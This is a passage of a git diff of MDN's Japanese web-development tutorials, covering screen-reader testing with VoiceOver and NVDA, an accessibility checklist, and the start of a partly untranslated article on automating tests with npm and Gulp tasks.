name="VoiceOver">VoiceOver</h4> + +<p>VoiceOver（VO）は Mac / iPhone / iPad には無料で含まれているので、あなたが Apple 製品を使っているならそれはデスクトップ/モバイルでテストするのに役に立ちます。 ここでは、MacBook Pro の Mac OS X でテストします。</p> + +<p>オンにするには、<kbd>Cmd</kbd> + <kbd>Fn</kbd> + <kbd>F5</kbd> を押します。 今までに VO を使ったことがない場合は、ようこそ画面が表示され、そこで VO を起動するかどうかを選択できます。 また、使い方を学ぶためにかなり役に立つチュートリアルを実行することもできます。 再びオフにするには、もう一度 <kbd>Cmd</kbd> + <kbd>Fn</kbd> + <kbd>F5</kbd> を押します。</p> + +<div class="note"> +<p><strong>注</strong>: チュートリアルは少なくとも一度は実行するべきです — これは VO を学ぶ上で非常に便利な方法です。</p> +</div> + +<p>VO がオンになっていると、ディスプレイはほぼ同じに見えますが、画面の左下に、現在選択されている VO に関する情報を含む黒いボックスが表示されます。 現在の選択範囲も黒枠で強調表示されます — この強調表示は <strong>VO カーソル</strong>と呼ばれます。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14219/voiceover.png" style="border-style: solid; border-width: 1px; display: block; height: 386px; margin: 0px auto; width: 800px;"></p> + +<p>VO を使用するには、「VO 修飾キー」を多用します — これは、実際の VO キーボードショートカットに加えて、それらを機能させるために押す必要があるキーまたはキーの組み合わせです。 このような修飾キーを使用するのは、スクリーンリーダーに共通で、他のコマンドとコマンドが衝突しないようにするためです。 VO の場合、修飾キーは <kbd>CapsLock</kbd> または <kbd>Ctrl</kbd> + <kbd>Option</kbd> のいずれかです。</p> + +<p>VO にはたくさんのキーボードコマンドがありますので、ここではそれら全てをリストしません。 ウェブページのテストに必要な基本的なものは、次の表のとおりです。 キーボードショートカットでは、<kbd>VO</kbd> は「VoiceOver 修飾キー」を意味します。</p> + +<table class="standard-table"> + <caption>最も一般的な VoiceOver のキーボードショートカット</caption> + <thead> + <tr> + <th scope="col">キーボードショートカット</th> + <th scope="col">説明</th> + </tr> + </thead> + <tbody> + <tr> + <td><kbd>VO</kbd> + <kbd>矢印キー</kbd></td> + <td>VO カーソルを上下左右に移動します。</td> + </tr> + <tr> + <td><kbd>VO</kbd> + <kbd>スペースバー</kbd></td> + <td>VO カーソルで強調表示されている項目を選択/アクティブ化します。 これには、ローター（下記参照）で選択した項目が含まれます。</td> + </tr> + <tr> + <td><kbd>VO</kbd> + <kbd>Shift</kbd> + <kbd>下矢印</kbd></td> + <td>（HTML の表やフォームなどの）項目のグループ内に入ります。 グループ内に入ると、通常どおり上記のコマンドを使用してそのグループ内の項目を移動して選択できます。</td> + </tr> + <tr> + <td><kbd>VO</kbd> + <kbd>Shift</kbd> + <kbd>上矢印</kbd></td> + <td>グループから出ます。</td> + </tr> + <tr> + <td><kbd>VO</kbd> + <kbd>C</kbd></td> + <td>（表内の場合）現在の列のヘッダーを読み上げます。</td> + </tr> + <tr> + <td><kbd>VO</kbd> + <kbd>R</kbd></td> + <td>（表内の場合）現在の行のヘッダーを読み上げます。</td> + </tr> + <tr> + <td><kbd>VO</kbd> + <kbd>C</kbd> + <kbd>C</kbd>（2つの連続した C）</td> + <td>（表内の場合）ヘッダーを含む現在の列全体を読み上げます。</td> + </tr> + <tr> + <td><kbd>VO</kbd> + <kbd>R</kbd> + <kbd>R</kbd>（2つの連続した R）</td> + <td>（表内の場合）各セルに対応するヘッダーを含め、現在の行全体を読み上げます。</td> + </tr> + <tr> + <td><kbd>VO</kbd> + <kbd>左矢印</kbd>、<kbd>VO</kbd> + <kbd>右矢印</kbd></td> + <td>（日付の選択や時刻の選択などの一部の水平オプション内の場合）オプション間を移動します。</td> + </tr> + <tr> + <td><kbd>VO</kbd> + <kbd>上矢印</kbd>、<kbd>VO</kbd> + <kbd>下矢印</kbd></td> + <td>（日付の選択や時刻の選択などの一部の水平オプション内の場合）現在のオプションを変更します。</td> + </tr> + <tr> + <td><kbd>VO</kbd> + <kbd>U</kbd></td> + <td>簡単にナビゲーションできるように、見出し、リンク、フォームコントロールなどのリストを表示するローターを使用します。</td> + </tr> + <tr> + <td><kbd>VO</kbd> + <kbd>左矢印</kbd>、<kbd>VO</kbd> + <kbd>右矢印</kbd></td> + <td>（ローター内の場合）ローターで利用可能な異なるリスト間を移動します。</td> + </tr> + <tr> + <td><kbd>VO</kbd> + <kbd>上矢印</kbd>、<kbd>VO</kbd> + <kbd>下矢印</kbd></td> + <td>（ローター内の場合）現在のローターリスト内の異なる項目間を移動します。</td> + </tr> + <tr> + <td><kbd>Esc</kbd></td> + <td>（ローター内の場合）ローターを終了します。</td> + </tr> + <tr> + <td><kbd>Ctrl</kbd></td> + <td>（VO が話している場合）読み上げを一時停止/再開します。</td> + </tr> + <tr> + <td><kbd>VO</kbd> + <kbd>Z</kbd></td> + <td>読み上げの最後の部分をやり直します。</td> + </tr> + <tr> + <td><kbd>VO</kbd> + <kbd>D</kbd></td> + <td>Mac の Dock に入るので、その中で実行するアプリを選択できます。</td> + </tr> + </tbody> +</table> + +<p>これはたくさんのコマンドのように思えますが、慣れればそれほど悪くはありません。 VO は、特定の場所でどのコマンドを使用するかについて定期的に注意を促します。 今は VO で遊びましょう。 その後、{{anch("Screenreader testing","スクリーンリーダーのテスト")}}のセクションで例のいくつかを試してみることができます。</p> + +<h4 id="NVDA" name="NVDA">NVDA</h4> + +<p>NVDA は Windows 専用で、インストールする必要があります。</p> + +<ol> + <li><a href="http://www.nvaccess.org/">nvaccess.org</a> からダウンロードしてください。 寄付をするか無料でダウンロードするかを選択できます。 ダウンロードできるようになる前にあなたのメールアドレスを与える必要もあるでしょう。</li> + <li>ダウンロードしたら、インストールします — インストーラをダブルクリックし、ライセンスに同意して指示に従います。</li> + <li>NVDA を起動するには、プログラムファイル/ショートカットをダブルクリックするか、キーボードショートカットの <kbd>Ctrl</kbd> + <kbd>Alt</kbd> + <kbd>N</kbd> を使用します。 起動すると NVDA にようこそダイアログが表示されます。 ここでは、いくつかのオプションから選択し、次に [OK] ボタンを押して作業を進めます。</li> +</ol> + +<p>これで NVDA はあなたのコンピュータ上でアクティブになります。</p> + +<p>NVDA を使用するには、「NVDA 修飾キー」を多用します — これは、実際の NVDA のキーボードショートカットに加えて、それらを機能させるために押す必要があるキーです。 このような修飾キーを使用するのは、スクリーンリーダーに共通で、他のコマンドとコマンドが衝突しないようにするためです。 NVDA の場合、修飾キーは <kbd>Insert</kbd>（デフォルト）、または <kbd>CapsLock</kbd>（[OK] を押す前に NVDA へようこそダイアログボックスの最初のチェックボックスをオンにして選択できます）のいずれかになります。</p> + +<div class="note"> +<p><strong>注</strong>: NVDA は、VoiceOver よりも、それがどこにあるのか、また何をしているのかを強調する方法という点では微妙です。 あなたが見出しやリストなどをスクロールしているとき、あなたが選択している項目は一般的に微妙なアウトラインでハイライトされますが、これはいつも全てのことに当てはまるわけではありません。 完全に迷子になった場合は、<kbd>Ctrl</kbd> + <kbd>F5</kbd> を押して現在のページを更新し、もう一度上から始めることができます。</p> +</div> + +<p>NVDA にはたくさんのキーボードコマンドがありますので、ここではそれら全てをリストしません。 ウェブページのテストに必要な基本的なものは、次の表のとおりです。 キーボードショートカットでは、<kbd>NVDA</kbd> は「NVDA 修飾キー」を意味します。</p> + +<table class="standard-table"> + <caption>最も一般的な NVDA のキーボードショートカット</caption> + <thead> + <tr> + <th scope="col">キーボードショートカット</th> + <th scope="col">説明</th> + </tr> + </thead> + <tbody> + <tr> + <td><kbd>NVDA</kbd> + <kbd>Q</kbd></td> + <td>起動している NVDA を再びオフにします。</td> + </tr> + <tr> + <td><kbd>NVDA</kbd> + <kbd>上矢印</kbd></td> + <td>現在行を読み上げます。</td> + </tr> + <tr> + <td><kbd>NVDA</kbd> + <kbd>下矢印</kbd></td> + <td>現在位置から読み上げを始めます。</td> + </tr> + <tr> + <td><kbd>上矢印</kbd> と <kbd>下矢印</kbd>、または <kbd>Shift</kbd> + <kbd>Tab</kbd> と <kbd>Tab</kbd></td> + <td>ページ内の前/次の項目に移動して、それを読み上げます。</td> + </tr> + <tr> + <td><kbd>左矢印</kbd> と <kbd>右矢印</kbd></td> + <td>現在の項目の前/次の文字に移動して、それを読み上げます。</td> + </tr> + <tr> + <td><kbd>Shift</kbd> + <kbd>H</kbd> と <kbd>H</kbd></td> + <td>前/次の見出しに移動して、それを読み上げます。</td> + </tr> + <tr> + <td><kbd>Shift</kbd> + <kbd>K</kbd> と <kbd>K</kbd></td> + <td>前/次のリンクに移動して、それを読み上げます。</td> + </tr> + <tr> + <td><kbd>Shift</kbd> + <kbd>D</kbd> と <kbd>D</kbd></td> + <td>前/次の文書のランドマーク（<code><nav></code> など）に移動して、それを読み上げます。</td> + </tr> + <tr> + <td><kbd>Shift</kbd> + <kbd>1</kbd> 〜 <kbd>6</kbd> と <kbd>1</kbd> 〜 <kbd>6</kbd></td> + <td>前/次の見出し（レベル 1 〜 6）に移動して読み上げます。</td> + </tr> + <tr> + <td><kbd>Shift</kbd> + <kbd>F</kbd> と <kbd>F</kbd></td> + <td>前/次のフォーム入力に移動して、それにフォーカスを当てます。</td> + </tr> + <tr> + <td><kbd>Shift</kbd> + <kbd>T</kbd> と <kbd>T</kbd></td> + <td>前/次のデータ表に移動して、それにフォーカスを当てます。</td> + </tr> + <tr> + <td><kbd>Shift</kbd> + <kbd>B</kbd> と <kbd>B</kbd></td> + <td>前/次のボタンに移動して、ラベルを読み上げます。</td> + </tr> + <tr> + <td><kbd>Shift</kbd> + <kbd>L</kbd> と <kbd>L</kbd></td> + <td>前/次のリストに移動して、その最初のリスト項目を読み上げます。</td> + </tr> + <tr> + <td><kbd>Shift</kbd> + <kbd>I</kbd> と <kbd>I</kbd></td> + <td>前/次のリスト項目に移動して、それを読み上げます。</td> + </tr> + <tr> + <td><kbd>Enter</kbd> / <kbd>Return</kbd></td> + <td>（リンク/ボタンまたは他のアクティブ化可能項目が選択されている場合）項目をアクティブ化します。</td> + </tr> + <tr> + <td><kbd>NVDA</kbd> + <kbd>スペースバー</kbd></td> + <td>（フォームが選択されている場合）個々の項目を選択できるようにフォーム内に入るか、すでにフォームに入っている場合はフォームから出ます。</td> + </tr> + <tr> + <td><kbd>Shift</kbd> + <kbd>Tab</kbd> と <kbd>Tab</kbd></td> + <td>（フォーム内の場合）フォーム入力間を移動します。</td> + </tr> + <tr> + <td><kbd>上矢印</kbd> と <kbd>下矢印</kbd></td> + <td>（フォーム内の場合）フォーム入力の値を変更します（選択ボックスなどの場合）。</td> + </tr> + <tr> + <td><kbd>スペースバー</kbd></td> + <td>（フォーム内の場合）選択値を選択します。</td> + </tr> + <tr> + <td><kbd>Ctrl</kbd> + <kbd>Alt</kbd> + <kbd>矢印キー</kbd></td> + <td>（表が選択されている場合）表のセル間を移動します。</td> + </tr> + </tbody> +</table> + +<h4 id="Screenreader_testing" name="Screenreader_testing">スクリーンリーダーのテスト</h4> + +<p>スクリーンリーダーを使用することに慣れてきましたが、スクリーンリーダーがどのようにウェブページの良い機能と悪い機能に対処するかを理解するために、簡単なアクセシビリティテストを行うためにスクリーンリーダーを使用したいと思います。</p> + +<ul> + <li><a href="http://mdn.github.io/learning-area/accessibility/html/good-semantics.html">good-semantics.html</a> を見て、見出しがスクリーンリーダーによってどのように見つけられ、ナビゲーションに使用できるかに注目してください。 では、<a href="http://mdn.github.io/learning-area/accessibility/html/bad-semantics.html">bad-semantics.html</a> を見て、スクリーンリーダーがどのようにしてこの情報を取得できないのかに注目してください。 本当に長いページのテキストをナビゲートしようとすると、これがどれほど面倒なことになるか想像してください。</li> + <li><a href="http://mdn.github.io/learning-area/accessibility/html/good-links.html">good-links.html</a> を見て、コンテキストから見たときにそれらがどのように意味をなすかに注目してください。 <a href="http://mdn.github.io/learning-area/accessibility/html/bad-links.html">bad-links.html</a> ではそうではありません — それらは全てただの「ここをクリック」です。</li> + <li><a href="http://mdn.github.io/learning-area/accessibility/html/good-form.html">good-form.html</a> を見て、<code><label></code> 要素を適切に使用することで、フォーム入力がラベルでどのように説明されるかに注目してください。 <a href="http://mdn.github.io/learning-area/accessibility/html/bad-form.html">bad-form.html</a> では、それらは「空白」の行に沿って役に立たないラベルを取得します。</li> + <li><a href="http://mdn.github.io/learning-area/css/styling-boxes/styling-tables/punk-bands-complete.html">punk-bands-complete.html</a> の例を見て、ヘッダーを正しく定義したので、スクリーンリーダーがどのようにしてコンテンツの列と行を関連付け、それらを全て読み取ることができるかを確認します。 <a href="http://mdn.github.io/learning-area/accessibility/html/bad-table.html">bad-table.html</a> では、どのセルも関連付けることができません。 1つのページに1つの表しかない場合、NVDA はやや奇妙なふるまいをするようです。 代わりに <a href="http://webaim.org/articles/nvda/tables.htm">WebAIM の表のテストのページ</a>（英語）を試すことができます。</li> + <li>先ほど見た <a href="http://www.freedomscientific.com/Training/Surfs-up/AriaLiveRegions.htm">WAI-ARIA のライブリージョンの例</a>（英語）を見て、スクリーンリーダーが絶えず更新されているセクションが更新されるたびにそれを読み上げていくかに注目してください。</li> +</ul> + +<h3 id="User_testing" name="User_testing">ユーザーテスト</h3> + +<p>上記のように、あなたはあなたのサイトのアクセシビリティ問題を決定するために自動化されたツールだけに頼ることはできません。 テスト計画を立てる際には、可能であればアクセシビリティユーザーグループをいくつか含めることをお勧めします（詳細については、コースの前半の<a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies#User_testing">ユーザーテスト</a>のセクションを参照してください）。 必要に応じて、スクリーンリーダーを使用するユーザー、キーボードを使用するユーザー、聴覚を持たないユーザー、および他のグループも参加してください。</p> + +<h2 id="Accessibility_testing_checklist" name="Accessibility_testing_checklist">アクセシビリティテストのチェックリスト</h2> + +<p>次のリストは、プロジェクトで推奨されるアクセシビリティテストを確実に実行したことを確認するためのチェックリストです。</p> + +<ol> + <li>HTML が意味論的にできるだけ正しいことを確認してください。 <a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Auditing_tools">監査ツール</a>を使用して、<a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS#Validation">それを検証する</a>ことは良いスタートです。</li> + <li>CSS がオフになっているときにコンテンツが意味をなすことを確認してください。</li> + <li>機能が<a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Using_native_keyboard_accessibility">キーボードからアクセス可能であること</a>を確認してください。 <kbd>Tab</kbd>、<kbd>Return</kbd> / <kbd>Enter</kbd> などを使ってテストします。</li> + <li>テキスト以外のコンテンツに<a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Text_alternatives">代替テキスト</a>があることを確認してください。 <a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Auditing_tools">監査ツール</a>はそのような問題を捉えるのに適しています。</li> + <li>適切なチェックツールを使用して、サイトの<a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Color_and_color_contrast">カラーコントラスト</a>が許容範囲内であることを確認してください。</li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Hiding_content">隠されたコンテンツ</a>がスクリーンリーダーに見えるようにしてください。</li> + <li>可能な限り JavaScript がなくても機能が使えることを確認してください。</li> + <li>適切な場合は、ARIA を使用してアクセシビリティを向上させます。</li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Auditing_tools">監査ツール</a>を通してサイトを運営してください。</li> + <li>スクリーンリーダーでテストしてください。</li> + <li>あなたが行ったことを言うために、あなたのサイトのどこかに見つけることができるアクセシビリティの方針/声明を含めてください。</li> +</ol> + +<h2 id="Finding_help" name="Finding_help">助けを探す</h2> + +<p>あなたがアクセシビリティに関して遭遇するであろう他の多くの問題があります。 本当に知っておくべき最も重要なことは、オンラインで答えを見つける方法です。 HTML と CSS の記事の<a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS#Finding_help">助けを探すのセクション</a>を参考にしてください。</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>たぶん、この記事はあなたが遭遇するかもしれない主なアクセシビリティ問題とそれらをどうやってテストして克服するかについての良い下地を与えたでしょう。</p> + +<p>次の記事では、機能の検出について詳しく説明します。</p> + +<p>{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/JavaScript","Learn/Tools_and_testing/Cross_browser_testing/Feature_detection", "Learn/Tools_and_testing/Cross_browser_testing")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内の文書</h2> + +<ul> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">はじめてのクロスブラウザーテスト</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies">テスト実行戦略</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS">よくある HTML や CSS の問題を扱う</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript">よくある JavaScript の問題を扱う</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility">よくあるアクセシビリティの問題を扱う</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection">機能検出の実装</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing">はじめての自動テスト</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">テスト自動化環境をセットアップする</a></li> +</ul> diff --git a/files/ja/learn/tools_and_testing/cross_browser_testing/automated_testing/index.html b/files/ja/learn/tools_and_testing/cross_browser_testing/automated_testing/index.html new file mode 100644 index 0000000000..98bf8d9394 --- /dev/null +++ b/files/ja/learn/tools_and_testing/cross_browser_testing/automated_testing/index.html @@ -0,0 +1,620 @@ +--- +title: 自動テストのイントロダクション +slug: Learn/Tools_and_testing/Cross_browser_testing/Automated_testing +translation_of: Learn/Tools_and_testing/Cross_browser_testing/Automated_testing +--- +<div> {{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Feature_detection", "Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment", "Learn/Tools_and_testing/Cross_browser_testing")}}</div> + +<p class="summary">1日に数回、複数のブラウザやデバイスで手動でテストを実行すると、面倒で時間がかかる場合があります。これを効率的に処理するには、自動化ツールに慣れておく必要があります。この記事では、利用可能なもの、タスクランナーの使い方、そして Sauce Labs や Browser Stack などの市販のブラウザテスト自動化アプリケーションの基本的な使い方を見ていきます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>主要な <a href="/ja/docs/Learn/HTML">HTML</a>、<a href="/ja/docs/Learn/CSS">CSS</a>、および <a href="/ja/docs/Learn/JavaScript">JavaScript</a> 言語に精通していること。<a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">クロスブラウザテストの原則</a>の高水準のアイデア。</td> + </tr> + <tr> + <th scope="row">目標:</th> + <td>自動テストにはどのようなものが含まれているのか、それがどのようにあなたの生活を楽にすることができるのか、そして物事を楽にするいくつかの商用製品をどのように利用するかの理解を提供する。</td> + </tr> + </tbody> +</table> + +<h2 id="Automation_makes_things_easy">Automation makes things easy</h2> + +<p>Throughout this module we have detailed loads of different ways in which you can test your websites and apps, and explained the sort of scope your cross-browser testing efforts should have in terms of what browsers to test, accessibility considerations, and more. Sounds like a lot of work, doesn't it?</p> + +<p>We agree — testing all the things we've looked at in previous articles manually can be a real pain. Fortunately, there are tools to help us automate some of this pain away. There are two main ways in which we can automate the tests we've been talking about in this module:</p> + +<ol> + <li>Use a task runner such as <a href="http://gruntjs.com/">Grunt</a> or <a href="http://gulpjs.com/">Gulp</a>, or <a href="https://docs.npmjs.com/misc/scripts">npm scripts</a> to run tests and clean up code during your build process. This is a great way to perform tasks like linting and minifying code, adding in CSS prefixes or transpiling nascent JavaScript features for maximum cross-browser reach, and so on.</li> + <li>Use a browser automation system like <a href="http://www.seleniumhq.org/">Selenium</a> to run specific tests on installed browsers and return results, alerting you to failures in browsers as they crop up. Commercial cross-browser testing apps like <a href="https://saucelabs.com/">Sauce Labs</a> and <a href="https://www.browserstack.com/">Browser Stack</a> are based on Selenium, but allow you to access their set up remotely using a simple interface, saving you the hassle of setting up your own testing system.</li> +</ol> + +<p>We will look at how to set up your own Selenium-based testing system in the next article. In this article, we'll look at how to set up a task runner, and use the basic functionality of commercial systems like the ones mentioned above.</p> + +<div class="note"> +<p><strong>Note</strong>: the above two categories are not mutually exclusive. It is possible to set up a task runner to access a service like Sauce Labs via an API, run cross browser tests, and return results. We will look at this below as well.</p> +</div> + +<h2 id="Using_a_task_runner_to_automate_testing_tools">Using a task runner to automate testing tools</h2> + +<p>As we said above, you can drastically speed up common tasks such as linting and minifying code by using a task runner to run everything you need to run automatically at a certain point in your build process. For example, this could be every time you save a file, or at some other point. Inside this section we'll look at how to automate task running with Node and Gulp, a beginner-friendly option.</p> + +<h3 id="Setting_up_Node_and_npm">Setting up Node and npm</h3> + +<p>Most tools these days are based on {{Glossary("Node.js")}}, so you'll need to install it from <a href="https://nodejs.org/">nodejs.org</a>:</p> + +<ol> + <li>Download the installer for your system from the above site. (If you already have Node and npm installed, jump to point 4)</li> + <li>Install it like you would any other program. Note that Node comes with <a href="https://www.npmjs.com/">Node Package Manager</a> (npm), which allows you to easily install packages, share your own packages with others, and run useful scripts on your projects.</li> + <li>Once the install completes, test that node is installed by typing the following into the terminal, which returns the installed versions of Node and npm: + <pre class="brush: bash">node -v +npm -v</pre> + </li> + <li>If you've got Node/npm already installed, you should update them to their latest versions. To update Node, the most reliable way is to download and install an updated installer package from their website (see link above). To update npm, use the following command in your terminal: + <pre class="brush: bash">npm install npm@latest -g</pre> + </li> +</ol> + +<div class="note"> +<p><strong>Note</strong>: If the above command fails with permissions errors, <a href="https://docs.npmjs.com/getting-started/fixing-npm-permissions">Fixing npm permissions</a> should sort you out.</p> +</div> + +<p>To start using Node/npm-based packages on your projects, you need to set up your project directories as npm projects. This is easy to do.</p> + +<p>For example, let's first create a test directory to allow us to play without fear of breaking anything.</p> + +<ol> + <li>Create a new directory somewhere sensible with using your file manager UI, or by navigating to the location you want and running the following command: + <pre class="brush: bash">mkdir node-test</pre> + </li> + <li>To make this directory an npm project, you just need to go inside your test directory and initialize it, with the following: + <pre class="brush: bash">cd node-test +npm init</pre> + </li> + <li>This second command will ask you many questions to find out the information required to set up the project; you can just select the defaults for now.</li> + <li>Once all the questions have been asked, it will ask you if the information entered is OK. type <code>yes</code> and press Enter/Return and npm will generate a <code>package.json</code> file in your directory.</li> +</ol> + +<p>This file is basically a config file for the project. You can customize it later, but for now it'll look something like this:</p> + +<pre class="brush: json">{ + "name": "node-test", + "version": "1.0.0", + "description": "Test for npm projects", + "main": "index.js", + "scripts": { + "test": "test" + }, + "author": "Chris Mills", + "license": "MIT" +}</pre> + +<p>With this, you are ready to move on.</p> + +<h3 id="Setting_up_Gulp_automation">Setting up Gulp automation</h3> + +<p>Let's look at setting up Gulp and using it to automate some testing tools.</p> + +<ol> + <li>To begin with, create a test npm project using the procedure detailed at the bottom of the previous section.</li> + <li>Next, you'll need some sample HTML, CSS and JavaScript content to test your system on — make copies of our sample <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/automation/index.html">index.html</a>, <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/automation/main.js">main.js</a>, and <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/automation/style.css">style.css</a> files in a subfolder with the name <code>src</code> inside your project folder. You can try your own test content if you like, but bear in mind that such tools won't work on internal JS/CSS — you need external files.</li> + <li>First, install gulp globally (meaning, it will be available across all projects) using the following command: + <pre class="brush: bash">npm install --global gulp-cli</pre> + </li> + <li>Next, run the following command inside your npm project directory root to set up gulp as a dependency of your project: + <pre class="brush: bash">npm install --save-dev gulp</pre> + </li> + <li>Now create a new file inside your project directory called <code>gulpfile.js</code>. This is the file that will run all our tasks. Inside this file, put the following: + <pre class="brush: js">var gulp = require('gulp'); + +gulp.task('default', function() { + console.log('Gulp running'); +});</pre> + This requires the <code>gulp</code> module we installed earlier, and then runs a basic task that does nothing except for printing a message to the terminal — this is useful for letting us know that Gulp is working. Each gulp task is written in the same basic format — <code>gulp</code>'s <code>task()</code> method is run, and given two parameters — the name of the task, and a callback function containing the actual code to run to complete the task.</li> + <li>You can run your gulp task with the following commands — try this now: + <pre class="brush: bash">gulp +</pre> + </li> +</ol> + +<h3 id="Adding_some_real_tasks_to_Gulp">Adding some real tasks to Gulp</h3> + +<p>To add some real tasks to Gulp, we need to think about what we want to do. A reasonable set of basic functionalities to run on our project is as follows:</p> + +<ul> + <li>html-tidy, css-lint, and js-hint to lint and report/fix common HTML/CSS/JS errors (see <a href="https://www.npmjs.com/package/gulp-htmltidy/">gulp-htmltidy</a>, <a href="https://www.npmjs.com/package/gulp-csslint/">gulp-csslint</a>, <a href="https://www.npmjs.com/package/gulp-jshint/">gulp-jshint</a>).</li> + <li>Autoprefixer to scan our CSS and add vendor prefixes only where needed (see <a href="https://www.npmjs.com/package/gulp-autoprefixer/">gulp-autoprefixer</a>).</li> + <li>babel to transpile any new JavaScript syntax features to traditional syntax that works in older browsers (see <a href="https://www.npmjs.com/package/gulp-babel/">gulp-babel</a>).</li> +</ul> + +<p>See the links above for full instructions on the different gulp packages we are using.</p> + +<p>To use each plugin, you need to first install it via npm, then require any dependencies at the top of the <code>gulpfile.js</code> file, then add your test(s) to the bottom of it, and finally add the name of your task inside the <code>default</code> task.</p> + +<p>Before you go any further, update the default task to this:</p> + +<pre class="brush: js">gulp.task('default', [ ]);</pre> + +<p>Inside the array goes the names of all the tasks you want Gulp to run, once you run the <code>gulp</code> command on the command line.</p> + +<h4 id="html-tidy">html-tidy</h4> + +<ol> + <li>Install using the following line: + <pre class="brush: bash"><span class="text"><span>npm install --save-dev gulp-htmltidy</span></span> +</pre> + + <div class="note"> + <p><strong>Note</strong>: <code>--save-dev</code> adds the package as a dependency to your project. If you look in your project's <code>package.json</code> file, you'll see an entry for it as, it has been added to the <code>devDependencies</code> property.</p> + </div> + </li> + <li class="line">Add the following dependencies to <code>gulpfile.js</code>: + <pre class="brush: js">var htmltidy = require('gulp-htmltidy');</pre> + </li> + <li>Add the following test to the bottom of <code>gulpfile.js</code>: + <pre class="brush: js">gulp.task('html', function() { + return gulp.src('src/index.html') + .pipe(htmltidy()) + .pipe(gulp.dest('build')); +});</pre> + </li> + <li>Add <code>'html'</code> as an item inside the array in the <code>default</code> task.</li> +</ol> + +<p>Here we are grabbing our development <code>index.html</code> file — <code>gulp.src()</code> which allows us to grab a source file to do something with.</p> + +<p>We next use the <code>pipe()</code> function to pass that source to another command to do something else with. We can chain as many of these together as we want. We first run <code>htmltidy()</code> on the source, which goes through and fixes errors in our file. The second <code>pipe()</code> function writes the output HTML file to the <code>build</code> directory.</p> + +<p>In the input version of the file, you may have noticed that we put an empty {{htmlelement("p")}} element; htmltidy has removed this by the time the output file has been created.</p> + +<h4 id="Autoprefixer_and_css-lint">Autoprefixer and css-lint</h4> + +<ol> + <li>Install using the following lines: + <pre class="brush: bash">npm install --save-dev gulp-autoprefixer +npm install --save-dev gulp-csslint</pre> + </li> + <li>Add the following dependencies to <code>gulpfile.js</code>: + <pre class="brush: js">var autoprefixer = require('gulp-autoprefixer'); +var csslint = require('gulp-csslint');</pre> + </li> + <li>Add the following test to the bottom of <code>gulpfile.js</code>: + <pre class="brush: js">gulp.task('css', function() { + return gulp.src('src/style.css') + .pipe(csslint()) + .pipe(csslint.formatter('compact')) + .pipe(autoprefixer({ + browsers: ['last 5 versions'], + cascade: false + })) + .pipe(gulp.dest('build')); +});</pre> + </li> + <li>Add <code>'css'</code> as an item inside the array in the <code>default</code> task.</li> +</ol> + +<p>Here we grab our <code>style.css</code> file, run csslint on it (which outputs a list of any errors in your CSS to the terminal), then runs it through autoprefixer to add any prefixes needed to make nascent CSS features run in older browsers. At the end of the pipe chain, we output our modified prefixed CSS to the <code>build </code>directory. Note that this only works if csslint doesn't find any errors — try removing a curly brace from your CSS file and re-running gulp to see what output you get!</p> + +<h4 id="js-hint_and_babel">js-hint and babel</h4> + +<ol> + <li>Install using the following lines: + <pre class="editor editor-colors">npm install --save-dev gulp-babel @babel/preset-env +npm install --save-dev @babel/core +<span class="shell source"><span>npm install jshint gulp-jshint --save-dev</span></span> +</pre> + </li> + <li>Add the following dependencies to <code>gulpfile.js</code>: + <pre class="editor editor-colors">var babel = require('gulp-babel'); +<span class="js source"><span class="js storage type"><span>var</span></span><span> jshint </span><span class="assignment js keyword operator"><span>=</span></span><span> </span><span class="function-call js meta"><span class="function js support"><span>require</span></span><span class="js meta"><span class="begin definition js punctuation round"><span>(</span></span><span class="js quoted single string"><span class="begin definition js punctuation string"><span>'</span></span><span>gulp-jshint</span><span class="definition end js punctuation string"><span>'</span></span></span><span class="definition end js punctuation round"><span>)</span></span></span></span><span class="js punctuation statement terminator"><span>;</span></span></span> +</pre> + </li> + <li class="line">Add the following test to the bottom of <code>gulpfile.js</code>: + <pre class="brush: js">gulp.task('js', function() { + return gulp.src('src/main.js') + .pipe(jshint()) + .pipe(jshint.reporter('default')) + .pipe(babel({ + presets: ['@babel/env'] + })) + .pipe(gulp.dest('build')); +});</pre> + </li> + <li>Add <code>'js'</code> as an item inside the array in the <code>default</code> task.</li> +</ol> + +<p>Here we grab our <code>main.js</code> file, run <code>jshint</code> on it and output the results to the terminal using <code>jshint.reporter</code>; we then pass the file to babel, which converts it to old style syntax and outputs the result into the <code>build</code> directory. Our original code included a <a 